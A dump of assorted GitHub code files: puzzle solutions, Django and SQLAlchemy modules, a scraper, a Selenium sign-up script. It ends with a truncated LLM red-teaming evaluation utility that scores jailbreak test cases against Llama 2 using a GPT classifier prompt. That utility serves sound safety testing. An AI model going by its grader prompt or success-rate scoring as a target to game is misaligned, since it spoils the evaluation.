unittest.main()\n","repo_name":"cornellius-gp/gpytorch","sub_path":"test/examples/test_spectral_mixture_gp_regression.py","file_name":"test_spectral_mixture_gp_regression.py","file_ext":"py","file_size_in_byte":3905,"program_lang":"python","lang":"en","doc_type":"code","stars":3285,"dataset":"github-code","pt":"3"} +{"seq_id":"44061423233","text":"from django.contrib.auth.models import User\n\nfrom rest_framework import serializers\n\n\nclass UserSerializer(serializers.ModelSerializer):\n\n full_name = serializers.CharField(source='get_full_name', read_only=True)\n\n class Meta:\n model = User\n fields = ('id', 'username', 'email', 'full_name')\n","repo_name":"gonvaled/backend-django-ember-showcase","sub_path":"api/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"6688182707","text":"# Advent of Code 2020 Day 7-1\n# James Plante\n\nimport sys\nimport string\nimport re\n\nclass Edge:\n to = \"\"\n weight = 0\n \n # Constructor\n def __init__(self, to: str, weight: int):\n self.to = to\n self.weight = weight\n\n def __repr__(self):\n return \"Edge(to: {}, weight: {})\".format(self.to, self.weight)\n\nINF = 99999\n\n\"\"\"\nGiven a string specifying a node, it creates a tuple with the \nkey and an array of edges.\n\"\"\"\ndef node_from_string(in_str: str):\n two_parts = in_str.strip(string.punctuation).split(\"contain \")\n remove_bags = [re.sub(' *bag[s]* *','', s) for s in two_parts]\n \n key = remove_bags[0]\n neighbors = []\n if remove_bags[1] != 'no other':\n for deps in remove_bags[1].split(', '):\n all_words = deps.split()\n neighbors.append(Edge(' '.join(all_words[1:]), int(all_words[0])))\n return key, neighbors\n\n\n\"\"\"\nConverts a dictionary of vertices with adjacency list to a matrix\n\"\"\"\ndef to_matrix_rep(graph: dict):\n vertices = len(graph)\n # Initialize\n matrix = [[INF for i in range(vertices)] for j in range(vertices)]\n # Doing a tuple swap since we want the keys to be the vertex\n vertex_dict = dict([(tup[1], tup[0]) for tup in enumerate(graph)])\n\n for vertex, edges in graph.items():\n for edge in edges:\n matrix[vertex_dict[vertex]][vertex_dict[edge.to]] = 1\n return matrix, vertex_dict\n\n\"\"\"\nImplementation of Floyd-Warshall to determine reachability of all bags to\nevery other bag\nReference: https://www.geeksforgeeks.org/floyd-warshall-algorithm-dp-16/\n\"\"\"\ndef floyd_warshall(graph: dict):\n num_vertices = len(graph) \n matrix, vertex_dict = to_matrix_rep(graph)\n \n for k in range(num_vertices):\n for i in range(num_vertices):\n for j in range(num_vertices):\n matrix[i][j] = min(matrix[i][j], matrix[i][k] + matrix[k][j])\n\n return matrix, vertex_dict\n\n\"\"\"\nMain solution function\n\"\"\"\ndef main_problem(input_string: str):\n graph = {}\n remove_empty_spaces = [line for line in input_string.split('\\n') if line != '']\n # Generate the graph\n for line in remove_empty_spaces:\n key, value = node_from_string(line)\n graph[key] = value\n \n # Do Floyd-Warshall on the input\n final_matrix, vertex_dict = floyd_warshall(graph)\n\n # For each vertex, check if it can reach 'shiny gold', add\n # to counter\n counter = 0\n for vertex in final_matrix:\n if vertex[vertex_dict['shiny gold']] != INF:\n counter += 1\n print(counter)\n\n\n\nif __name__ == \"__main__\":\n if (len(sys.argv) > 1):\n input_string = \"\"\n with open(sys.argv[1]) as f:\n input_string = f.read()\n \n main_problem(input_string)\n exit(0)\n else:\n print(\"Not enough arguments\")\n\n","repo_name":"jwplante/adventofcode2020","sub_path":"day7/day7_1.py","file_name":"day7_1.py","file_ext":"py","file_size_in_byte":2880,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"19714260057","text":"import math\nclass Solution:\n def minSteps(self, n: 'int') -> 'int':\n if n < 2:\n return 0\n # prime factorization\n dp = [0 for i in range(1 + n)]\n for i in range(2, 1 + n):\n dp[i] = i\n for j in range(2, int(math.sqrt(i)) + 1):\n if not i % j:\n dp[i] = dp[j] + dp[int(i / j)]\n return dp[n]\n\n\nif __name__ == \"__main__\":\n a = Solution()\n print(a.minSteps(3))","repo_name":"isabella0428/Leetcode","sub_path":"python/650.py","file_name":"650.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"12357712781","text":"class ListNode(object):\n\n def __init__(self, val, next=None):\n self.val = val\n self.next = next\n\nclass TreeNode:\n def __init__(self, val):\n self.val = val\n self.left, self.right = None, None\n\n \ndef sortedListToBST(head):\n res=kst(head)\n return res\n \ndef kst(head):\n \n if head is None:\n return head\n if head.next is None:\n return TreeNode(head.val)\n curr=head\n dummy=ListNode(0)\n dummy.next=head\n pre=dummy\n end=head\n while end is not None and end.next is not None:\n end=end.next.next\n pre=pre.next\n \n tem=pre.next\n root=TreeNode(tem.val)\n pre.next=None\n \n root.left=kst(curr)\n root.right=kst(tem.next)\n \n return root\n\n\nif __name__=='__main__':\n l=ListNode(1,ListNode(2,ListNode(3,ListNode(4,ListNode(5)))))\n a=sortedListToBST(l)\n print(a.val)","repo_name":"kidcats/LintCode_python","sub_path":"sortedListToBST.py","file_name":"sortedListToBST.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"17473385225","text":"import os\nimport sys\nimport json\nimport re\nfrom crawler import crawl\n\nCOMMENT_CONFS_LIST_START = \"\"\nCOMMENT_CONFS_LIST_END = \"\"\n\ncache_path = os.path.join(os.path.dirname(__file__), \"cache\", \"cache.json\")\nreadme_path = \"README.md\"\nacl_conf_path = os.path.join(os.path.dirname(__file__), \"conf\", \"acl_conf.json\")\ndblp_conf_path = os.path.join(os.path.dirname(__file__), \"conf\", \"dblp_conf.json\")\nnips_conf_path = os.path.join(os.path.dirname(__file__), \"conf\", \"nips_conf.json\")\niclr_conf_path = os.path.join(os.path.dirname(__file__), \"conf\", \"iclr_conf.json\")\nthecvf_conf_path = os.path.join(os.path.dirname(__file__), \"conf\", \"thecvf_conf.json\")\n\n\ndef generate_new_readme(src: str, content: str, start_comment: str, end_comment: str) -> str:\n \"\"\"Generate a new Readme.md\"\"\"\n pattern = f\"{start_comment}[\\\\s\\\\S]+{end_comment}\"\n repl = f\"{start_comment}\\n\\n{content}\\n\\n{end_comment}\"\n if re.search(pattern, src) is None:\n print(f\"can not find section in src, please check it, it should be {start_comment} and {end_comment}\")\n return re.sub(pattern, repl, src)\n\n\ndef get_one_line(confs):\n res = \"- \"\n for conf in confs:\n _conf = list(conf.keys())[0]\n _year = conf[_conf]\n res += f\"[{_conf} {min(_year)}-{max(_year)}] \"\n return res\n\n\ndef update_readme():\n readme_path = \"README.md\"\n with open(readme_path, \"r\") as f:\n src = f.read()\n\n confs_list = {}\n for files in [acl_conf_path, dblp_conf_path, nips_conf_path, iclr_conf_path, thecvf_conf_path]:\n with open(files, \"r\") as f:\n for conf in json.load(f):\n # print(conf)\n year = re.search(r\"\\d{4}\", conf[\"name\"]).group()\n # cut by year\n conf_name = re.sub(r\"\\d{4}(.*)\", \"\", conf[\"name\"]).strip()\n\n if conf_name.upper() not in confs_list.keys():\n confs_list[conf_name.upper()] = set()\n confs_list[conf_name.upper()].add(year)\n\n # 4 confs for one line\n confs_list_str = \"```text\\n\"\n waiting_list = []\n for conf in confs_list.keys():\n if len(waiting_list) == 4:\n confs_list_str += get_one_line(waiting_list) + \"\\n\"\n waiting_list = []\n waiting_list.append({conf: list(confs_list[conf])})\n if len(waiting_list) != 0:\n confs_list_str += get_one_line(waiting_list) + \"\\n\"\n confs_list_str += \"```\\n\"\n\n with open(readme_path, \"w\") as f:\n src = generate_new_readme(src, confs_list_str, COMMENT_CONFS_LIST_START, COMMENT_CONFS_LIST_END)\n f.write(src)\n\n\ndef force_update():\n res = crawl(cache_file=None, force=True)\n with open(cache_path, \"w\") as f:\n json.dump(res, f)\n\n\nif __name__ == \"__main__\":\n if len(sys.argv) == 1:\n update_readme()\n elif len(sys.argv) == 2:\n if sys.argv[1] == \"force\":\n force_update()\n else:\n print(\"unknown argument\")\n","repo_name":"MLNLP-World/AI-Paper-Collector","sub_path":"maintain.py","file_name":"maintain.py","file_ext":"py","file_size_in_byte":2964,"program_lang":"python","lang":"en","doc_type":"code","stars":1032,"dataset":"github-code","pt":"3"} +{"seq_id":"27777045550","text":"from __future__ import annotations\n\nimport json\nfrom typing import TYPE_CHECKING, Iterator, Optional, Tuple\n\nimport sqlalchemy as sa\nfrom frictionless.formats.sql import SqlMapper\n\nfrom .. import helpers, settings, types\n\nif TYPE_CHECKING:\n from sqlalchemy import MetaData, Table\n from sqlalchemy.engine import Engine\n\n from ..project import Project\n\n\nclass Database:\n database_url: str\n engine: Engine\n mapper: SqlMapper\n metadata: MetaData\n artifacts: Table\n\n def __init__(self, project: Project):\n self.database_url = f\"sqlite:///{project.private / 'database.db'}\"\n self.engine = sa.create_engine(self.database_url)\n self.mapper = SqlMapper(self.engine.dialect.name)\n with self.engine.begin() as conn:\n self.metadata = sa.MetaData()\n try:\n self.metadata.reflect(conn, views=True)\n except Exception:\n self.metadata.reflect(conn)\n\n # Ensure artifacts table\n artifacts = self.metadata.tables.get(settings.ARTIFACTS_IDENTIFIER)\n if artifacts is None:\n artifacts = sa.Table(\n settings.ARTIFACTS_IDENTIFIER,\n self.metadata,\n sa.Column(\"name\", sa.Text, primary_key=True),\n sa.Column(\"type\", sa.Text, primary_key=True),\n sa.Column(\"descriptor\", sa.Text),\n )\n self.metadata.create_all(conn, tables=[artifacts])\n self.artifacts = artifacts\n\n # Artifacts\n\n def iter_artifacts(self, *, type: str) -> Iterator[Tuple[str, types.IDescriptor]]:\n with self.engine.begin() as conn:\n query = sa.select(self.artifacts.c.name, self.artifacts.c.descriptor).where(\n self.artifacts.c.type == type,\n )\n for item in conn.execute(query).all():\n yield item.name, json.loads(item.descriptor)\n\n def delete_artifact(self, *, name: str, type: str):\n with self.engine.begin() as conn:\n query = sa.delete(self.artifacts).where(\n self.artifacts.c.name == name,\n self.artifacts.c.type == type,\n )\n conn.execute(query)\n\n def read_artifact(self, *, name: str, type: str) -> Optional[types.IDescriptor]:\n with self.engine.begin() as conn:\n text = conn.execute(\n sa.select(self.artifacts.c.descriptor).where(\n self.artifacts.c.name == name,\n self.artifacts.c.type == type,\n )\n ).scalar_one_or_none()\n if not text:\n return None\n descriptor = json.loads(text)\n return descriptor\n\n def write_artifact(self, *, name: str, type: str, descriptor: types.IDescriptor):\n with self.engine.begin() as conn:\n self.delete_artifact(name=name, type=type)\n conn.execute(\n sa.insert(self.artifacts).values(\n name=name, type=type, descriptor=helpers.to_json(descriptor)\n )\n )\n\n # Tables\n\n def delete_table(self, *, name: str):\n table = self.get_table(name=name)\n if table is not None:\n with self.engine.begin() as conn:\n table.drop(conn)\n\n def get_table(self, *, name: str):\n return self.metadata.tables.get(name, None)\n\n # Views\n\n def delete_view(self, *, name: str):\n with self.engine.begin() as conn:\n conn.execute(sa.text(f'DROP VIEW IF EXISTS \"{name}\"'))\n\n def sync_view(self, *, name: str, query: str):\n with self.engine.begin() as conn:\n self.delete_view(name=name)\n if query:\n try:\n # Create and validate view\n conn.execute(sa.text(f'CREATE VIEW \"{name}\" AS {query}'))\n conn.execute(sa.text(f\"SELECT count(*) from {name}\"))\n except Exception:\n self.delete_view(name=name)\n","repo_name":"okfn/opendataeditor","sub_path":"server/stores/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":4030,"program_lang":"python","lang":"en","doc_type":"code","stars":59,"dataset":"github-code","pt":"3"} +{"seq_id":"10251816532","text":"from source.couple import couple\nfrom source.group import group\nimport source.config as c\nimport numpy as np\nfrom slugify import slugify\n\nfrom import_data import food_mapping\n\ninv_food_mapping = {v: k for k, v in food_mapping.items()}\n\n\n# see https://stackoverflow.com/questions/5775352/python-return-2-ints-for-index-in-2d-lists-given-item\ndef index_2d(myList, v):\n for i, x in enumerate(myList):\n if v in x:\n return (i, x.index(v))\n\n\n# Eine Kombination pro Gang, drei Kombinationen insgesamt\nclass combination:\n def __init__(self, comb):\n self.groups = [[]]\n for i in range(c.N_courses):\n self.groups.append([])\n for j in range(len(comb[i])):\n for k in range(len(comb[i][j])):\n if i == 0:\n comb[i][j][k].pre = comb[i][j][k]\n elif i > 0:\n temp_j, temp_k = index_2d(comb[i - 1], comb[i][j][k])\n comb[i][j][k].pre = comb[i - 1][temp_j][temp_k]\n\n self.groups[i].append(group(comb[i][j], i))\n\n def get_loss(self, gmaps=False):\n loss = 0\n for course in range(len(self.groups)):\n for g in self.groups[course]:\n loss += np.square(g.get_loss(gmaps))\n return np.sqrt(loss)\n\n def print_combination(self):\n result = \"\"\n i = 0\n for course in self.groups[:-1]:\n i += 1\n result += \".....................\\n\"\n result += \"Gang {}\\n\".format(i)\n result += \".....................\\n\"\n j = 0\n for g in course:\n j += 1\n result += \"Gruppe {}\\n\".format(j)\n for couple in g.couples:\n result += couple.print_info(i - 1)\n result += \"\\n\"\n\n print(result)\n\n def combination_get_host(self, couple, course):\n debug_counter = 0\n for group in self.groups[course]:\n if couple in group.couples:\n return group.couples[group.host]\n\n def combination_get_guests(self, couple):\n debug_counter = 0\n for course in range(3):\n for group in self.groups[course]:\n if group.couples[group.host] == couple:\n couples = group.couples.copy()\n debug_counter += 1\n print(debug_counter)\n couples.remove(couple)\n\n return couples\n\n def write_emails(self, couples, file):\n f = open(file, \"r\")\n mail = f.read()\n f.close()\n\n form_dict = {}\n for couple in couples:\n couple.set_final_combination(self)\n\n for c in [\"V\", \"H\", \"N\"]:\n form_dict[\"O_\" + c] = couple.dinner[c].address\n form_dict[\"N_\" + c] = couple.dinner[c].name\n form_dict[\"H_\" + c] = couple.dinner[c].phone\n form_dict[\"food\"] = inv_food_mapping[couple.food]\n\n for i in range(2):\n form_dict[\"Notes_\" + str(i)] = str(\n couple.guests[i].note).replace(\"nan\", \"-\")\n form_dict[\"G_H_\" + str(i)] = couple.guests[i].phone\n\n out = open(\n \"mails/{}_{}.txt\".format(slugify(couple.mail),\n slugify(couple.name)), \"w+\")\n out.write(mail.format(**form_dict))\n out.close()\n\n def met_people(self, couple):\n couples = []\n for course in range(3):\n for group in self.groups[course]:\n if couple in group.couples:\n for temp in group.couples:\n couples.append(temp)\n return list(set(couples))\n","repo_name":"AaronDavidSchneider/CyclingDinner","sub_path":"source/combination.py","file_name":"combination.py","file_ext":"py","file_size_in_byte":3694,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"18062651247","text":"\n\nfrom bs4 import BeautifulSoup as bs4\nimport requests\n\nurl = \"https://www.animenewsnetwork.com/\"\nhtml = requests.get(url).text\nmain_soup = bs4(html,\"html.parser\")\nnews_box = main_soup.find_all('div',{\"class\":\"herald box news\"})\ncount = 0\nfor box in news_box:\n count+=1\n title_h = box.find('div',{\"class\":\"wrap\"})\n title = title_h.div.h3.a.text\n time_h = box.find('div',{\"class\":\"byline\"})\n time = time_h.time.text\n descript = box.find('span',{\"class\":\"full\"}).text\n page_url = box.find('div',{\"class\":\"wrap\"}).div.h3.a['href']\n print(str(count) + \"\\n\\n\" , title + \"\\n\\n\" , time + \"\\n\\n\", descript + \"\\n\\n\", url + page_url[1:]+\"\\n\\n\\n\")\n \n\n","repo_name":"Pranav-Official/ANN_scarper","sub_path":"ANN scraper.py","file_name":"ANN scraper.py","file_ext":"py","file_size_in_byte":667,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"14484894755","text":"from tensorflow.keras.preprocessing.text import Tokenizer\n\n# text = \"나는 울트라 맛있는 밥을 먹었다\"\n# {'나는': 1, '울트라': 2, '맛있는': 3, '밥을': 4, '먹었다': 5}\n\n# text = \"나는 울트라 맛있는 밥을 울트라 먹었다\" # 음절: 1글자, 어절: 띄어쓰기 전까지 한묶음, 형태소: 뜻이 있는 가장 작은 단위(ex: 밥, 맛)\n# {'울트라': 1, '나는': 2, '맛있는': 3, '밥을': 4, '먹었다': 5}\n\ntext = \"나는 진짜 맛있는 밥을 진짜 먹었다\"\n# {'진짜': 1, '나는': 2, '맛있는': 3, '밥을': 4, '먹었다': 5}\n\ntoken = Tokenizer()\ntoken.fit_on_texts([text]) # 어절로 나누어짐, 많이 나온 어절순으로 index를 줌\n\nprint(token.word_index) \n\nx = token.texts_to_sequences([text]) \n\nprint(x) # [[2, 1, 3, 4, 1, 5]]\n\nfrom tensorflow.keras.utils import to_categorical\nword_size = len(token.word_index)\n\nx = to_categorical(x, num_classes = word_size + 1) # one-hot-encoding은 0부터 시작하므로 5를 표현하고싶으면 +1을 해줘야함\n\nprint(x)","repo_name":"leekyunghun/bit_seoul","sub_path":"keras2/keras79_embedding1.py","file_name":"keras79_embedding1.py","file_ext":"py","file_size_in_byte":1061,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"25903533107","text":"from selenium import webdriver\r\nimport time\r\nfrom selenium.webdriver.common.by import By\r\nfrom webdriver_manager.chrome import ChromeDriverManager\r\nfrom selenium.webdriver.support.select import Select\r\nfrom selenium.webdriver.common.keys import Keys\r\n\r\ndriver = webdriver.Chrome(ChromeDriverManager().install())\r\n\r\nsignin = driver.get(\"https://www.deliverinhour.com/signin\")\r\ntime.sleep(2)\r\nregister = driver.find_element(By.XPATH, \"//a[normalize-space()='Register']\").click()\r\ntime.sleep(2)\r\nFirstName = driver.find_element(By.XPATH, \"//input[@id='fname']\").send_keys(\"chaithanya\")\r\ntime.sleep(2)\r\nLastName = driver.find_element(By.XPATH, \"//input[@id='lname']\").send_keys(\"Raj\")\r\ntime.sleep(2)\r\nEmail = driver.find_element(By.XPATH, \"//input[@id='email']\").send_keys(\"Testing2@gmail.com\")\r\ntime.sleep(2)\r\ncontactno = driver.find_element(By.XPATH, \"//input[@id='mobile']\").send_keys(\"4372555961\")\r\ntime.sleep(2)\r\nOtp = driver.find_element(By.NAME, \"sendotp\").click()\r\ntime.sleep(2)\r\n\r\n\r\n\r\n\r\n","repo_name":"Sandesh1802/Data-trained-practice-projects","sub_path":"user Delivernhour.py","file_name":"user Delivernhour.py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"40680779270","text":"''' Python 3\ngetFramerate (Blender Utility)\nBy: John Hollowell\n1/31/2018\n\nFunction:\n\tThis program is run by Blender and is used to get the framerate from a blend file.\n\n'''\n\nimport os, sys, bpy\n\n#put the output in the same directory as this script\noutputFile = os.path.dirname(os.path.abspath(__file__)) + \"/framerate.txt\"\nscene = bpy.context.scene\n\nf = open(outputFile, 'w')\nf.write(str(scene.render.fps))\nf.close()\n","repo_name":"jhollowe/Distributed-Projects","sub_path":"Distributed Rendering/Utilities/getFramerate.py","file_name":"getFramerate.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"71990847763","text":"from collections import deque\n\ndef bfs(x,y,xy,maps):\n dx=[0,0,-1,1]\n dy=[1,-1,0,0]\n rows = len(maps)\n cols = len(maps[0])\n \n q = deque()\n q.append((x,y))\n\n while q:\n x,y = q.popleft()\n for i in range(4):\n nx = x+dx[i]\n ny = y+dy[i]\n if nx<0 or ny<0 or nx>=rows or ny>=cols:\n continue\n if maps[nx][ny]!=\"X\" and maps[nx][ny]==0:\n maps[nx][ny]=maps[x][y]+1\n if [nx,ny]==xy:\n return maps[nx][ny]\n q.append((nx,ny))\n return maps[xy[0]][xy[1]]\n\ndef new_map(maps):\n for i in range(len(maps)):\n for j in range(len(maps[0])):\n if maps[i][j]==\"X\":\n continue\n maps[i][j]=0\n return maps\n\ndef solution(maps):\n end_num=0\n start_xy, end_xy, lever_xy = 0,0,0\n lever_num,end_num = 0,0\n \n for i in range(len(maps)):\n temp=[]\n for j in range(len(maps[0])):\n temp.append(maps[i][j])\n maps[i]=temp\n \n for i in range(len(maps)):\n for j in range(len(maps[0])):\n if maps[i][j]==\"S\":\n start_xy=[i, j]\n if maps[i][j]==\"E\":\n end_xy=[i, j]\n if maps[i][j]==\"L\":\n lever_xy=[i, j]\n \n maps = new_map(maps)\n \n lever_num = bfs(start_xy[0], start_xy[1], lever_xy, maps)\n if lever_num>0:\n maps = new_map(maps)\n end_num = bfs(lever_xy[0], lever_xy[1], end_xy, maps)\n else:\n return -1\n \n return lever_num+end_num if end_num>0 else -1","repo_name":"da-in/algorithm-study","sub_path":"Programmers - 문제풀이/미로 탈출/jiwon.py","file_name":"jiwon.py","file_ext":"py","file_size_in_byte":1596,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"3"} +{"seq_id":"34969618591","text":"\"\"\"simulated_sportsbook URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/3.2/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path, include, re_path\nfrom rest_framework import routers\n\nfrom simulated_sportsbook.rest_api.rest_views import UserViewSet, AccountViewSet, EventViewSet, BetslipViewSet\nfrom users import views as user_views\n\nfrom simulated_sportsbook import views\n\nrouter = routers.DefaultRouter()\nrouter.register(r'users', UserViewSet)\nrouter.register(r'accounts', AccountViewSet)\nrouter.register(r'events', EventViewSet)\nrouter.register(r'betslips', BetslipViewSet)\n\nurlpatterns = [\n path('', views.index, name='index'),\n path('refresh_odds/', views.refresh_odds, name='refresh_odds'),\n path('about_us/', views.about_us, name='about_us'),\n path('account/', views.account, name='account'),\n path('admin/', admin.site.urls),\n path('register/', user_views.register, name='register'),\n path('register/login', user_views.login, name='register_redirect'),\n path('login/', user_views.login_request, name='login'),\n path('logout/', user_views.logout_request, name='logout'),\n path('accounts/', include('django.contrib.auth.urls')),\n path('accounts/profile/', views.index, name='login_redirect'),\n path('api-auth/', include('rest_framework.urls')),\n path('rest_api/', include(router.urls))\n]\n","repo_name":"TheMeriff/simulatedsportsbook","sub_path":"simulated_sportsbook/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1909,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"33258181414","text":"# URL: https://leetcode.com/problems/add-two-polynomials-represented-as-linked-lists/\n# Definition for polynomial singly-linked list.\n# class PolyNode:\n# def __init__(self, x=0, y=0, next=None):\n# self.coefficient = x\n# self.power = y\n# self.next = next\n\nclass Solution:\n def addPoly(self, poly1: 'PolyNode', poly2: 'PolyNode') -> 'PolyNode':\n # Iterate through nodes keeping respect to rules of coefficients and powers\n # O(n + m) time complexity where n and m represent the lengths of each linked list\n # O(n) space complexity for storing output linked list\n head = None\n curr_node = None\n while poly1 or poly2:\n if poly1 and poly2:\n if poly1.power > poly2.power:\n node_to_add = PolyNode(poly1.coefficient, poly1.power)\n poly1 = poly1.next\n elif poly2.power > poly1.power:\n node_to_add = PolyNode(poly2.coefficient, poly2.power)\n poly2 = poly2.next\n else:\n # Edge case wher sum of coefficients is 0\n if poly1.coefficient + poly2.coefficient != 0:\n node_to_add = PolyNode(poly1.coefficient + poly2.coefficient, poly1.power)\n else:\n node_to_add = None\n poly1 = poly1.next\n poly2 = poly2.next\n elif poly1:\n node_to_add = PolyNode(poly1.coefficient, poly1.power)\n poly1 = poly1.next\n elif poly2:\n node_to_add = PolyNode(poly2.coefficient, poly2.power)\n poly2 = poly2.next\n \n if not head and node_to_add:\n head = node_to_add\n curr_node = head\n elif node_to_add:\n curr_node.next = node_to_add\n curr_node = curr_node.next\n \n \n return head\n \n","repo_name":"aaronfox/LeetCode-Work","sub_path":"AddTwoPolynomialsRepresentedAsLinkedLists.py","file_name":"AddTwoPolynomialsRepresentedAsLinkedLists.py","file_ext":"py","file_size_in_byte":1993,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"34117192555","text":"from rest_framework.authentication import TokenAuthentication\nfrom rest_framework.authtoken.models import Token\nfrom rest_framework.exceptions import AuthenticationFailed\n\nfrom datetime import timedelta\nfrom django.utils import timezone\nfrom django.conf import settings\n\n\ndef expires_in(token):\n \"\"\"сколько осталось времени жизни токена\"\"\"\n time_elapsed = timezone.now() - token.created\n left_time = timedelta(seconds=settings.TOKEN_EXPIRED_AFTER_SECONDS) - time_elapsed # NoQa\n return left_time\n\n\ndef is_token_expired(token):\n \"\"\"проверка окончилось ли время токена или нет\"\"\"\n return expires_in(token) < timedelta(seconds=0)\n\n\ndef token_expire_handler(token):\n \"\"\"если время токена прошло, то удаляем старый и создаем новый\"\"\"\n is_expired = is_token_expired(token)\n if is_expired:\n token.delete()\n token = Token.objects.create(user=token.user)\n return is_expired, token\n\n\nclass ExpiringTokenAuthentication(TokenAuthentication):\n \"\"\"Переопределение стандартного TokenAuthentication\"\"\"\n def authenticate_credentials(self, key):\n try:\n token = Token.objects.get(key=key)\n except Token.DoesNotExist:\n raise AuthenticationFailed('Неверный токен')\n\n if not token.user.is_active:\n raise AuthenticationFailed('Пользователь не активный')\n\n is_expired, token = token_expire_handler(token)\n if is_expired:\n raise AuthenticationFailed('Время токена истекло')\n\n return (token.user, token)\n\n\ndef get_token(request):\n \"\"\"Получить значение токена из request\"\"\"\n token = request.META.get('HTTP_AUTHORIZATION')\n if token is not None:\n key = token.split()[1]\n return key\n else:\n return None\n","repo_name":"juhnowski/search_portal","sub_path":"infoportal/users/utils/authentication.py","file_name":"authentication.py","file_ext":"py","file_size_in_byte":1966,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"5964304","text":"import numpy as np\nfrom nltk.translate.bleu_score import sentence_bleu\nfrom sklearn.metrics.pairwise import cosine_similarity as sk_cosine_similarity\nimport pandas as pd\nfrom datasets import Dataset\nimport numpy as np\nimport openai\nimport time\n\n# ============================== UTILS FOR EVALUATION ============================== #\n\n# LLAMA2_PROMPT_DEV = {\n# \"description\": \"Llama 2 chat one shot prompt\",\n# \"prompt\": '''[INST] <>\n# You are a helpful, respectful and honest assistant. Always answer as helpfully as possible, while being safe. Your answers should not include any harmful, unethical, racist, sexist, toxic, dangerous, or illegal content. Please ensure that your responses are socially unbiased and positive in nature. If a question does not make any sense, or is not factually coherent, explain why instead of answering something not correct. \n\n# If you don't know the answer to a question, please don't share false information.\n# <>\n\n# {instruction} [/INST] '''\n# }\nLLAMA2_PROMPT = {\n \"description\": \"Llama 2 chat one shot prompt\",\n \"prompt\": '''[INST] <>\nYou are a helpful, respectful and honest assistant. Always answer as helpfully as possible, while being safe. Your answers should not include any harmful, unethical, racist, sexist, toxic, dangerous, or illegal content. Please ensure that your responses are socially unbiased and positive in nature.\n\nIf a question does not make any sense, or is not factually coherent, explain why instead of answering something not correct. If you don't know the answer to a question, please don't share false information.\n<>\n\n{instruction} [/INST] '''\n}\n\nCLS_PROMPT = {\"description\": \"OpenAI API prompt for local success rate evaluation\",\n \"prompt\": '''\nYou are a classifier for red teaming large language models (LLMs). Given a generation, determine whether it counts as an instance of the following behavior (subject to the rules below). Your answer should be \"Yes\" or \"No\" with an explanation.\n\nBehavior:\n{}\n\nGeneration:\n{}\n\n---\nRules:\n- Instances of the behavior should be unambiguous and non-minimal. Vague or very short instances do not count. \n- Generations should themselves be harmful or undesirable for a public-facing LLM to output. Benign or supportive generations do not count.\n- Generations that respond, analyze, discuss or otherwise react to the behavior when it has originated from other factors do not count.\n- If the behavior involves coding and programming, the generation should contain code artifacts related to the behavior, not just comments or instructions. Otherwise it does not count.\n\nAnswer:\n'''\n}\n\n\ndef generate_outputs(test_cases, model, tokenizer, batch_size=50, max_new_tokens=256, verbose=False):\n \"\"\"\n :param test_cases: a dictionary of test cases, where the keys are target behaviors\n :param model: the model to use for generation\n :param tokenizer: the tokenizer for the model\n :param max_new_tokens: the maximum size of each generation\n :return: a dictionary of generations, where the keys are target behaviors and the values are lists of generations\n \"\"\"\n test_cases_formatted = {}\n for behavior in test_cases:\n test_cases_formatted[behavior] = [LLAMA2_PROMPT['prompt'].format(instruction=tc) for tc in test_cases[behavior]]\n test_cases = test_cases_formatted\n generations = {}\n for i, behavior in enumerate(test_cases.keys()):\n if verbose:\n print(f\"Generating for behavior {i+1}/{len(test_cases)}: {behavior}\")\n generations[behavior] = []\n behavior_tcs = test_cases[behavior]\n for j in range(0, len(behavior_tcs), batch_size):\n current_test_cases = behavior_tcs[j:j+batch_size]\n input_ids = tokenizer(current_test_cases, padding=True, return_tensors=\"pt\")\n input_ids['input_ids'] = input_ids['input_ids'].cuda()\n input_ids['attention_mask'] = input_ids['attention_mask'].cuda()\n num_input_tokens = input_ids['input_ids'].shape[1]\n outputs = model.generate(input_ids['input_ids'], attention_mask=input_ids['attention_mask'].half(),\n max_new_tokens=max_new_tokens, do_sample=False, pad_token_id=tokenizer.pad_token_id)\n generation = tokenizer.batch_decode(outputs[:, num_input_tokens:], skip_special_tokens=True)\n generations[behavior].extend(generation)\n \n return generations\n\n\ndef compute_success_rate(generations, model_name, api_key, sample_n=50, verbose=False):\n \"\"\"\n :param generations: a dictionary of generations, where the keys are target behaviors and the values are lists of generations\n :param model_name: the OpenAI model name to use for classification\n :param api_key: the OpenAI API key\n :param sample_n: the number of generations to sample for each behavior when computing success rate (max of 50)\n :return: the success rate metric\n \"\"\"\n assert sample_n <= 